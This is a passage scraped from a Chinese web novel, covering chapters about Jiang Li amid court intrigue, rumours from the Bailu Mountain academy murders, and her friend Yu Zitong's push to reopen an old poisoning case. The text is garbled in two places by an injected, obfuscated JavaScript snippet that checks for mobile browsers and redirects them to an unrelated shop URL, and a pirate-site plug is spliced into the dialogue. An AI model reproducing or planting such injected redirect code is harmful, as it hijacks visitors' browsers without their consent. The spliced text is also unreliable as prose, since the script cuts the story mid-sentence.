薛琦苦声道:“是我之过是我之过为今之计我们得想个法子才是。” 薛兰时深吸口气略一闭眸又猛地睁开寒声道:“让他滚出长安!” “娘娘——”薛琦很是不舍。 “不然如何办?让他留下成长安笑柄?让别人指着他的鼻子骂?!” 薛兰时强定心神“让他躲出去就说……就说他志不在仕途此去是去西南寻觅良师一边求学习文一边体察民间风土读万卷书不如行万里路让他游历几年长进足够了再回长安届时此事已经被世家百姓淡忘就算有人质疑他文章有假只要他自己能写出更好的旁人也无话可说。” 薛琦犹豫一瞬到底还是应了薛兰时之策“也罢也罢也只能如此了那学子如今还在白鹭山上只要没有实证流言蜚语早晚也会被遗忘就依娘娘的吩咐吧今夜回府之后我便让他连夜离府出去个四五年再回来只是、只是娘娘急需用人这几年咱们薛氏是没有用得上的人了……” “谁说没有可用之人?” 薛兰时反驳一句目光一转看向站在一旁默然不语的姜离“泠儿不就是我薛氏的福分吗?” 薛琦愣住姜离自己也是一怔“姑姑……” 薛兰时挤出丝笑目光望着姜离话却是对薛琦说的“哥哥莫要学那些只看重男儿的迂腐之人不是只有男子入了仕途才能予我助力泠儿医术高明从前名动长安今夜救了陛下往后在陛下跟前都有了脸面所谓失之东隅收之桑榆淑妃说的很对我们薛氏是有福的。” 姜离听闻此言心底有些不安面上只做受宠若惊的无措之状。 薛琦此时也反应了过来“娘娘所言极是。” 薛兰时深吸口气“此事我还得想想如何让太子殿下知晓陛下如今大病未愈即便知道此事也不一定会发作他老人家可没有真把薛湛放在眼里再加上泠儿看诊有功事情不一定会闹大但在太子跟前却不好交代——” 如今的太子便是未来的帝王想到景德帝之病薛琦也觉背脊发凉。 薛兰时瞟一眼姜离不避讳的道:“太子轻薛氏已久本以为湛儿从文能为太子看 重可如今……偏偏景和宫那位滴水不漏身后又有宁家支持那宁珏本是个江湖纨绔如今竟也似改了性还求得了拱卫司的差事那可是陛下最信任的拱卫司啊!” 薛琦告罪“是我拖累了娘娘我……” 薛兰时不耐地摆手“事到如今说这些也无用太子那里我自会周全如今的情势瞬息万变他也不至于放弃薛氏只能走一步看一步若殿下顺利到了那个位置将来湛儿也不是毫无指望。” 薛琦欲言又止薛兰时又淡笑着看向姜离“姑姑说这些可会吓到泠儿?” 姜离不好接话只作摇头薛兰时便叹道:“这些事你早晚会明白如今听一听也不打紧你今日表现极好这份胆识连姑姑都觉意外就凭这份心性姑姑一定让你荣华富贵享之不尽——秋雯去给大小姐选几件可心的玩意儿带回府中。” 薛兰时吩咐下去姜离犹豫片刻也只得谢恩见薛兰时面色有些发白姜离近前道:“姑姑脸色不好可要我给姑姑看看?” 薛兰时摇头“今日乏了先随你父亲回府善后。” 姜离应好薛兰时又看向薛琦“哥哥也不必太过惶恐哥哥是御史中丞比起那几桩命案薛湛作假不过是白鹭山书院的一件小事太子为高氏开脱还来不及呢。” 薛琦眉梢微扬随即恍然道:“是啊正是人命才是大事。”- 回薛府已是亥时二刻姜离下得马车犹豫道:“父亲弟弟之事——” 薛琦如今待眼前这个长女已不似去岁那般疏离只道:“你不用管你今日连家都没进就入宫看诊定也累极了你早些去歇着你弟弟的事父亲来处置。” 姜离求之不得福了福身往盈月楼去。 吉祥和如意一早便迎了出来见到姜离先欢天喜地行礼待将姜离迎回了楼中方才说起白日之事。 吉祥道:“午时未到老爷和二公子便回来了姚姨娘和三小姐欢欢喜喜地迎出去可没想到二公子哭丧着脸老爷也一脸怒意 姚姨娘和二公子也都肿着眼睛出了主院,我们还没弄清楚到底发生了何事,宫里便来人了,老爷不敢轻慢,带着几位公公等大小姐回来,却不想您直接入宫去了。 如意这时又道:“老爷走了之后,姚姨娘一直在二公子院中,也不知说了什么,他们母子二人也吵了几句,后来姚姨娘是被下人扶回去的,二公子是一直足不出户,到了晚上,连饭食都是送去屋里用的。 姜离一边梳洗一边道:“这会儿主院应该还有动静。 吉祥闻言忙道:“奴婢去瞧瞧! 吉祥说完便跑,如意无奈地侍候姜离更衣沐浴。 等姜离沐浴完,换了身素锦衣裙用点心时,吉祥着急忙慌地回了楼中,“大小姐!不得了了!老爷好像要让二公子连夜出城去,姚姨娘在主院大哭,三小姐也去求情,可老爷铁了心,这会儿侧门里连马车都套好了,这、这到底是怎么了? 姜离面不改色道:“二弟要去游学。 吉祥一愕,“游学?老爷不是等着二公子入科场做状元吗? 怀夕也在旁吃点心,闻言忍不住嗤笑道:“状元?别说状元了,只怕进二甲都难呢,哎,两位姐姐,明日你们便知道了。 吉祥和如意面面相觑,姜离吩咐道:“主院的事你们多加留意,再看看外头有什么流言,和白鹭山书院有关的皆一同禀来。 吉祥应是,姜离遂带着怀夕上楼歇下。 主仆二人皆累了一日,待上了楼,怀夕才道 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吉祥绘声绘色道:“先是说那付家和袁家公子死的如何如何凄惨,乃是因他们二人与什么邪教有染,从前在麟州时害了一条人命,此番是被别人千里追杀来报仇的,又说定西侯府的二公子和永阳侯府的公子竟有龙阳之好,为掩盖此事,他们二人还在书院合谋杀人,哦还有,说、说咱们二公子那篇被广为流传的文赋乃是旁人代笔之作…… 姜离面上无波无澜,“还有别的吗? 吉祥满腹疑问等着姜离解答,却不想她如此平静,足见这些流言蜚语并无作假,她忙又道:“还说付家那位家主已被下狱了,袁将军也被陛下狠狠斥责了一顿,陛下令其禁足思过,哦还有今日早朝,说早朝上,太子殿下和肃王殿下因那高家二公子之事起了争执,双方在殿上争论不休,还差点大打出手,直气的陛下拂袖而去。 已近巳时,早朝上的争端传出禁中,又被诸世家负责探听消息的侍从们禀回各自府中,姜离点点头,“可有与大理寺有关的? 吉祥道:“这些事说都交给了大理寺查审,但不知怎么回事,有人说连裴少卿都被陛下斥责了一顿,也不知真假—— 姜离用膳的手一顿,吉祥压低声道:“大小姐,二公子昨夜当真被送走了,姚姨娘今日病倒了,三小姐也称病没出门,老爷倒是一大早上朝去了,所以,有关二公子的传言当真无假?二公子找人代笔了? 怀夕在旁道:“吉祥姐姐,若是假的,老爷怎么舍得送二公子离开呢?这一走只怕得好几年呢。 吉祥和如意满脸惊震,正相顾无言时,外头一个小丫头禀告道:“大小姐,寿安伯府大小姐和虞侍郎府上的姑娘前来拜访了。 姜离瞳底生亮,“快请! 她大步迎出,刚走到门口,便见虞梓桐行在前,风风火火地进了院子,在她身后,付云慈眼含担忧地跟着。 姜离尚未开口,虞梓桐抢先一步问:“阿泠,那些传言可是真的? 姜离暗自叹息,先将二人请进屋内,吉 祥和如意心知她们也是为了白鹭山书院之事而来,立刻识趣地退了出去。 待三人一同落座,姜离方道:“传言八九分为真,书院的确生了命案,高晖和柳元嘉也确有私情,我弟弟,也确是找人代笔。” 没想到姜离如此利落,虞梓桐一愣,付云慈也语塞片刻才又开口,“所以……付、袁两家的公子当真是杀人凶手?” 姜离直言相告,“不错,是在麟州犯的案。” 她话音落下,付云慈不再深问,只忧心忡忡地看向虞梓桐,虞梓桐则沉声道:“阿泠,我此来并非为了问那些流言,那些事说来也与我无关,我是想问你,那高晖是否在书院提起过他八年前害人之事,他是不是用毒令当年广安伯府公子坠崖断腿?” 姜离秀眉微蹙,“你怎知晓?” 其他流言不胫而走姜离并不意外,但高晖不会认罪,已被灭族的广安伯府亦无人在意,姜离实在想不到虞梓桐从何处知道的这样快。 虞梓桐默了默,道:“今日陛下带病上朝,早朝之上,裴鹤臣禀告了白鹭山书院诸事,除了付、袁两家的命案,还有高晖纵火之罪,末了,他当堂提出高晖早在八年前便有过害人之行,害的正是广安伯府公子。而他认罪之言,是在书院行凶时被大家抓个正着,包括王侍郎和方院监在内的十多人都听到了,我前两日便知你上了山,当时你可在场?那高晖当真提起了八年前之事?” 虞梓桐殷切地望着姜离,付云慈在旁道:“阿泠,广安伯府公子乃是桐儿的表哥,他们自幼一起长大,那位公子是癔痴之症多年的可怜人,本来病情都好转了,可偏偏坠崖摔断了腿,当年都以为是发病所致,如今才知是有人暗害。” 姜离怎会不明虞梓桐的急切,她照实道:“当时我在场,高晖所用之毒名为三日醉,他确是说八年前,曾给一个半痴半傻的学子下过毒——” “真是他!”虞梓桐豁然起身,“当年书院半痴半傻者只能是我表兄,真是他下的毒手!为什么?因我表兄发现了他和柳元嘉的私情?!” 虞梓桐反应极快,见她切切望着自己,姜离也起身道:“我不确信动机,但既出他自己之口,他害魏家公子当是无疑,你别急,此案已交给了大理寺——” “不,我不能不急。”虞梓桐打断姜离,焦灼道:“早朝之上,裴鹤臣提出此事,但……但广安伯府曾犯重罪,乃是陛下忌讳,陛下根本不会为一个已被行斩刑的死囚去核查毫无证据的旧事,那高晖有定西侯和太子求情,放火又未死人,三法司主官合议之后,据说只判他流放五百里,大抵七八日之后便要离开长安——” 虞梓桐惨笑一下,“五百里,不过是从长安前往锦州,这一路上多的是人保高晖逍遥自在,这般不痛不痒根本不算惩罚!” 不等姜离接话,虞梓桐猛地道:“大理寺!对,我应该直接去大理寺!” 她说完转身便走,姜离急声道,“你等等,我与你同去——” 作者有话要说 我来啦~ 第 173 章 愿意冒险 第173章愿意冒险 午时初刻,姜离与虞梓桐到了大理寺。 门口的守卫认得姜离,只快步往衙内通禀,待二人走上去往东院的廊道,便见九思快步迎了出来,“薛姑娘,咦,虞姑娘也来了?” 九思眸带疑问看向姜离,姜离只问:“你家公子何在?” “公子和宁公子在值房说话呢。” 姜离神容平静,虞梓桐闻言却是神色更冷,九思缩了缩脖子不敢招惹,只快步在前引路,待到了值房,扬声道:“公子,薛姑娘和虞姑娘来了——” 姜离先一步进门,刚进来便见宁珏笑着朝她迎来,可话未出口,他面上笑意一滞,又眯起眸子看向了姜离身后,“哟,这是什么风把虞大小姐吹来了?” 虞梓桐见到宁珏,也是面黑如锅底,“今日出门未看通胜,倒是晦气的很。” 宁珏被堵的一声冷笑,虞梓桐目光一转看向裴晏,“我今日来,是有一桩旧案想问问裴少卿——” 裴晏已从书案后起身,他也猜到了虞梓桐要问什么,“可是为了八年前魏旸的旧案?” 虞梓桐点头,“不错,当年之事说来裴少卿也有责任,这么多年过去了,如今才知原来表兄的惨祸还另有隐情,裴少卿如今贵为大理寺之主,难道真若外头传言的,那旧案不值查探,高晖只被流放五百里吗?” 裴晏看眼姜离,答道:“高晖被抓住之后拒不承认当日所言,再加上时隔多年已难寻人证物证,要给高晖罪加一等几乎不可能。” 裴晏神容端肃,一板一眼的模样听得虞梓桐肝火直冒,“可当日那么多人听见他说的话,怎么能算毫无人证?” 裴晏一默,“难凭他一句未曾指名道姓的话定案。” 虞梓桐气白了脸,“不曾指名道姓?八年之前你我同在白鹭山书院,整个书院有几个患过痴症之人?所有当年在书院的学子都知道他说的是谁,还需指名道姓吗?” 她提高声量,咄咄逼人,裴晏还未答话,一旁的宁珏再听不下去,“虞姑娘好生不讲道理,当年都没发现下毒,如今已过了八年你让大理寺怎么查?还有,对一个罪孽深重,且已经被行斩刑的死囚而言,凭何浪费人力为他缉凶?!” “ 宁珏!!虞梓桐柳眉倒竖,眼底怒意勃然,“当年的案子定的那般草率,别说我姑父不可能误诊,便真是他有何错处,我姑姑与表兄又何其无辜?你莫以为宁氏如今位高权重,我便任你侮辱她们! 虞梓桐挺着胸膛,双拳紧攥,丝毫无畏,宁珏闻言冷笑起来,“无辜?魏阶害死了太孙殿下,他们府上便没有一个无辜的,且你今日过来,你父亲可知?! 虞梓桐的父亲虞槐安在襄州立功后,重返长安乃是任兵部侍郎,正是在宁珏的父亲宁胥远手下当差,两家因从前皇太孙之死本就多有嫌隙,但宁胥远为人尚算刚正,这一年多来并未对虞槐安挟私报复,虞槐安自己更是本本分分不敢有一点儿行差踏错,如此,才平顺的坐稳了侍郎之位。 宁珏深知此间内情,这话问出,立刻令虞梓桐涨红了脸,“你——你休要拿我父亲压我,我父亲不便为表兄喊冤,我却不怕! 宁珏似笑非笑起来,还要再说,裴晏道:“好了,虞姑娘,此案的确难办,在高晖离开长安之前,我会再向陛下陈情。 比起宁珏,今日反倒是一板一眼的裴晏更好说话,但虞梓桐看看宁珏,再看看裴晏,眼底却多有绝望,“不必说的这么好听,我算看出来了,如今你们是一丘之貉,我知道大理寺不会再查,今日是我来错了—— 她撂下这话便走,姜离忙将她拉住,“桐儿,你别急—— 见姜离要劝和,宁珏嘲道:“薛泠你别管她,师兄已够好说话了,当年案子已是板上钉钉,如此还要袒护那些为恶之人,这样不分是非之人随她去便是! “宁公子,请口下留情吧。 姜离沉声恳请,虞梓桐盛怒之下转身死死盯着宁珏,宁珏见她眼眶都瞪红了,吊儿郎当地轻笑起来,“哎哟,可别当着我的面哭,我可最怕姑娘家哭了,这一哭我简直比那些害小孩儿性命的杀人凶手还—— “宁珏,闭嘴。 裴晏喝止一句,宁珏耸耸肩,又将嘴巴重重一抿,仿佛真被下了闭口咒。 但他越是如此轻慢,虞梓桐越是生气,她看看宁珏,再看看裴晏,牙关一咬,甩开姜离便跑了出去。 姜离一叹,只得快步追了出来。 虞梓桐脚步利落,这一追便追出了顺义门,到了马 车跟前,姜离才一把将她拽出,又气喘吁吁道:“桐儿你别急,此事交给大理寺诉冤确是不易,但或许还有别的机会,为恶之人不会有好报,我们不急在这一时。” “阿泠你不会明白——” 虞梓桐眼眶通红,一开口声音已哑了,见四下无人,她憋着委屈道:“其实宁珏没有说错,这件旧案,连我父亲都不敢在陛下面前喊冤,我……我也实在不知如何是好了,当年太孙殿下的确被害了,可、可我真的不信姑父会误诊,更别说姑姑和表兄,还有那些广安伯府的下人们,他们总是清白无辜的。” 姜离握住虞梓桐的手,“我明白……” 虞梓桐只觉姜离的安慰颇为无力,不住摇头道:“不,你不明白,我父亲是拼死立功才回长安的,他不能再不顾虞氏,也不能不顾我和兄长,偏偏、偏偏当年案子已钉死,宁家看广安伯一家便是受害者看杀人凶手,连我也矮一头。适才宁珏看我,只怕也是把我当成不分黑白的帮凶,还有裴鹤臣,他们府上当年和我姑姑走的很近,但时隔多年,没有人能替曾经的死囚重犯说话,连他也不能——” 虞梓桐越说越委屈,可因案子早判,她再不服也是理亏一方,就算被宁珏指着鼻子骂也只能受着,姜离握紧她的手腕,“虞大人的难处明眼人一看便知,宁珏适才说话难听你莫要放在心上,至于裴少卿,他说再陈情便定会陈情,再等等消息如何?” 虞梓桐深吸口气将眼底水雾憋了回去,“我今日是昏了头,我不该来的,再如何陈情陛下也不会答应,我明白,我都明白,与其靠他人,不如靠自己。阿泠,真是多谢你陪我走这一趟,这些事不该让你烦心。” 姜离只觉不对,“靠自己?你打算做什么?” 虞梓桐苦涩一笑,“我?我势单力薄,还不能明着来害了虞氏,我也做不了什么,我明日便去相国寺替表兄祈福,祈祷害他之人无好报。” 她说着又道谢,“好了,没事了,我今日是偷偷跑出来,这个时辰我父亲定已回府了,他如今防着我行事冲动呢,你也快回家吧,改日我们再聚。” 她不停顿的说完,未等姜离应话便上了马车,眼见马车越行越远,怀夕在旁道:“姑娘,虞姑娘这也是气得很了,咱们回去吗?” 姜离摇头,“不急,再去 衙门看看。- 返回大理寺值房时,宁珏一见姜离便悻然道:“薛泠,你可知我们和虞氏的过节?我可不是那故意为难小姑娘之人啊,实是前仇旧恨难消,本来我们对他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591629|108220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们府上已经很宽容了,可没想到她如此执拗,她父亲若是知道她如此胆大,只怕也是不依的。让师兄非要为那魏氏公子陈情也是为难师兄,陛下今日已是不快了。 姜离不动声色道,“自是知道,宁公子说的不错,桐儿性情确多执拗,但因此,她也足够重情义,仔细想来也令人有些动容。 宁珏听得一默,裴晏道:“时辰不早,不回去复命吗? 鹅小说更新,记住域名qiexs.com?(请来企 鹅小说 看最新章节 完整章节) 宁珏哀怨地瞅裴晏一眼,接着先前之话道:“罢了,我也懒得和虞姑娘计较,我确实还有公务在身,你—— 他犹豫一下,看看裴晏道:“是想帮虞姑娘? 姜离不置可否地点头,宁珏便又一耸肩,“罢罢罢,那我先走一步。 等宁珏走出东院院门,姜离面色方沉了下来,裴晏近前来解释,“陛下这些年对皇太孙之死始终耿耿于怀,今日一听还牵扯了魏旸的旧事,立时变了脸色,要让陛下转念十分不易,今日晚些时候我再入宫陈情—— “不必了。姜离转身看向他,“桐儿性子直率,行事也有些莽撞,适才我看她在气头上便也不曾拦阻。但我也明白,只凭高晖那两句自言自语就要给他定罪是不可能的,有太子和定西侯在,再加上当年兄长并未致命,陛下无论如何不会松口。 说至此,她眉眼间也露出几分和虞梓桐相似的悲凉,“宁珏有些话很是刺耳,但也是实情,你不必再陈情,反倒惹得陛下对你生了芥蒂。 裴晏只道,“一点儿芥蒂也无妨。 姜离沉默片刻,还是直看向他,“当年不知兄长是被暗害,他出意外之后,我们都以为他是因习武后气机逆乱才狂性大发,我亦一门心思想着,若是因习武,你但凡如约回来,那他一定不会出事…… 说至此,她眸色愈复杂起来,“却未想过他是被人下毒,三日醉三日醉,三日后毒性已消失无踪,连师父和义父都未发现古怪,既有人要害他,你何时回来已不算紧要,高晖虽未认罪,但真相已算明了,你再不必为此牵累自己。 裴晏也凝望着她,“但若我彼时 在书院,他即便狂性大发,我也能护他周全。” 姜离摇头,“你若在书院,高晖换个法子害他便是,兄长彼时心思纯直,无论如何也难防住,且当年你是好心助兄长痊愈,如今真相明了,无论如何也怪不到你身上,你也不必再因此愧责,说到底你是局外之人。” 裴晏瞳底暗了下来,“你返回来,就是想说这些?” 见裴晏目光黑沉沉望着自己,姜离回避似的转身看向窗外,“我从昨日下山便开始想,想了一路,想起当年我太过年少,便是担责,也该是我担责,但因我独自担不起那祸责,方怨怪到了你身上,那时你也还未至双十之龄,也实是不该。当年为魏氏说话之人皆被贬黜,如今陛下也听不得‘魏氏’二字,你不必为此冒险。” 裴晏视线一错不错的,只道:“若我愿意冒险呢?” 他的目光有若实质,姜离心头亦重重一跳,又听裴晏道:“时隔六年,陛下再如何听不得,也该借此让他看到‘魏氏’并非皆是罪大恶极之辈。” 姜离牙关轻咬,转头之时,眼底带上了两分探究,裴晏不闪不避直望着她,“我倒更宁愿你怪我,直至为魏氏雪冤再止。” 作者有话要说 我来啦~ 宝贝们记得收藏作者专栏昂~ 第 174 章 再请相助 第174章再请相助 出大理寺已是午时二刻,姜离上马车一言不发,眉尖亦微蹙着,怀夕不禁道:“姑娘,有裴少卿相助当是好事啊。” 姜离颔首道:“是好事,但如今旧事已查明,他……” 姜离欲言又止一瞬,见怀夕眼也不眨地望着自己,只摇了摇头,“罢了,事到如今也顾不得那么多了,先回府吧。” 车帘外长恭马鞭轻扬,又得小半个时辰方回了薛氏,刚进府门,便见一道熟悉的身影等候在影壁之前,姜离有些意外,“郭姑娘?” 来者正是郭淑妤,见她回来,郭淑妤回身笑道:“吉祥姑娘说你刚和虞姑娘去大理寺了,我便多等了一会儿,虞姑娘呢?” 姜离打量着她,“她回家了,郭姑娘随我回院中说罢。” 郭淑妤自是客随主便,回盈月楼,待吉祥二人奉上茶点退下之后,姜离道:“郭姑娘此来莫非也是为了外头那些流言?” “和薛姑娘说话就是简单,这短短一夜,长安城中流言纷纷难辨真假,薛姑娘正好也去了白鹭山,我心中有疑,来寻姑娘是再好不过。” 郭淑妤笑颜柔善,清丽的杏眸无害中透着明锐,令姜离看不真切,不知她所图为何,姜离便索性如实相告。 待她说完,郭淑妤一时有些绷不住,缓得片刻道:“也真是巧了,又让姑娘赶上这样的大事,今日姑娘陪虞姑娘去大理寺是为何事?” 姜离挑眉道:“郭姑娘问的太多了。” 郭淑妤一笑,放下茶盏道:“早朝上的事已经传的众所周知,我虽猜到了几分,但还是不曾确定,看来正是我想的那样——” 她说完这话又盯着姜离神情,“此前淮安郡王之事,姑娘可查明白了?可有要我相助之处?” 姜离似笑非笑看回去,郭淑妤一叹,“你别这么看我,我做这些无非是觉得此前恩义尚未还够,那件事不是小事,若未还完我如何能安心呢?” 此前姜离只请郭淑妤探查淮安郡王病逝前后之事,这事虽不好摆在明面上,可到底不是什么有违王法见不得光之事,比起她设局害命替岳家报仇,实是太过轻巧。于情,这是恩义待还,于理,若知道姜离更大的秘密才好彼此制衡。 姜离心中明镜儿一般盯了郭淑妤片刻她莞然道“既然如此我这里确有一事想请郭姑娘相助就看姑娘愿不愿意了——”- 郭淑妤在盈月楼留了小半个时辰想着姜离所托不轻没多时便提了告辞姜离亲自送她出府刚走到前院却见采薇着急慌忙自府门外进来看到姜离采薇慌忙福了福身又匆匆往内苑而去。 郭淑妤挑眉道:“何人的婢女?怎么这般没规矩。” 姜离不以为意 “薛沁啊。”郭淑妤自是认得薛沁不知想到什么她意味深长道:“她兄长出了这样的事她所求只怕要成空了——” 姜离看她郭淑妤便一笑“不过如今有你在府中你姑姑你父亲想来知道该看重谁不必送了等我好消息便是。” 待送走郭淑妤眼见天色不早姜离脚步一转往府中药房走去到了药房之外却见管家泰叔一脸沉重地带着两个小厮往药房内搬箱笼。 姜离好奇迎上去“泰叔这是——” 薛泰忙道:“大小姐来了这是今年新采买的玄参和白术。” 姜离奇怪“泰叔何以愁眉苦脸的?” 薛泰苦笑道:“今年的药材不知怎么贵了许多光这两样便比往年贵了四成今日采买的单子送回来我吓了一跳。” 姜离也觉怪异泰叔这时道:“姑娘来给夫人拿药?” 姜离摇头“母亲的药还可用七八日今日我来是取几味药材回去试试新方——” “大小姐要什么?” 姜离默了默平静道:“先拿山豆根、雷公藤、朱砂十钱再加黄岑、黄柏七钱吧。” 薛泰连忙亲去取药待包好了药材姜离往西面看一眼道:“二弟之事闹得颇大父亲和姚姨娘可还好?” 薛泰叹气道:“二公子本是老爷唯一的指望如今……哎不过幸好大小姐回来了大小姐是有福之人有大小姐在薛氏必定顺风顺水二公子的事就随他去吧大小姐往后若有何吩咐千万不要与小人客气。” 薛泰说着颇为诚恳地看着姜离眼底慨叹之余还有些愧责一闪而过姜离心底滑过一丝古怪眼见天色昏暗下来道了声谢往盈月楼去。- 景德帝旧 疾难愈,姜离本以为翌日便要被传唤入宫,可未想直等到第二日黄昏宫中才来了侍者,来传唤者仍是于颂。 待入承天门,于颂才道:“这两日是贵妃娘娘和淑妃娘娘一同侍疾,昨日陛下忙于政务,一直未得空,今日晨间又觉腰痛这才说请姑娘入宫。 姜离有些惊讶,“陛下忙了整日? 于颂叹道:“陛下勤政,这两日恰逢西边北边都来了军报,陛下是不分昼夜也要看完的,还和宁尚书他们议了半日政,不过姑娘的药还是在用。 姜离自不敢置喙政事,只默然着一路到了太极殿外。 刚到殿外便见于世忠张望着,又上前道:“薛姑娘来了,陛下这会儿正得空,快随咱家进来吧,淑妃娘娘也在呢—— 姜离应是入殿,沿着黼黻过屏风,很快便觉数道目光落在了自己身上。 又听淑妃道:“哎呦,人来了,快过来—— 姜离敛眸上前行礼,“拜见陛下,拜见娘娘。 “起身罢—— 景德帝沧桑浑厚的声音传了过来,姜离这才抬眸看了一眼,便见他身披鸦青素袍,花白头发绾成冠,正眉眼端严地于西窗下的锦榻上看奏折。 淑妃坐在对面替他磨墨添灯,这时她道:“这两日在按你的方子用药,昨日尚好,今日清晨陛下后腰又生痛楚,其他太医可施针可用药,但都不会你前次按脊通络之法,这才召了你来。 姜离忙道:“此法乃师父自研之法,并未在外流传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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淑妃苦笑起来,“臣妾哪敢议政?是怕陛下辛苦误了病况啊,那裴少卿素来铁口直谏,您是最知道的,他惹您生气固然不妥,可您不正是喜欢他那性子?您若是还不快,便再让他在殿前跪上两个时辰好了。 姜离眼观鼻鼻观心静立着,闻言眼皮轻轻一跳,便见景德帝气哼一声,道:“行了,天色不早了,先送这孩子出宫,明日还是此时。 姜离忙福身,“臣女领命。 姜离告退而出,又随内侍往承天门去,待到禁中,姜离谢了引路的内侍,只言自己出宫便可,待内侍返回,姜离脚步飞快转了方向—— “去大理寺。 作者有话要说 我来啦我来啦 听说和异性朋友讨论本书情节的,很容易发展成恋人哦